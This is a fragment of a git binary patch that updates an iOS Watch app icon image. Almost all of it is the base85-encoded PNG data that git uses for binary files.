zL;W#^-z4AsMDTxs2BLz1fkngJk@TlP5h|0Aco4{RcEgr2**7q-+8M#;y(FROin({z zsDmce8fb|tRfKNIFP$f0`{K>wwsZXy4F%~pZgq<9HBgZBu?yq&!Mm?{IKB&Q}@D{T?{ Ee`XnAY5)KL diff --git a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-quicklook-45@2x.png b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-quicklook-45@2x.png index 72ba51ebb1d8cb27f5c5f667475895acb15e5164..9a37688f0c1f33f1a576bbaa3c4c8ec36d135265 100644 GIT binary patch literal 32688 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 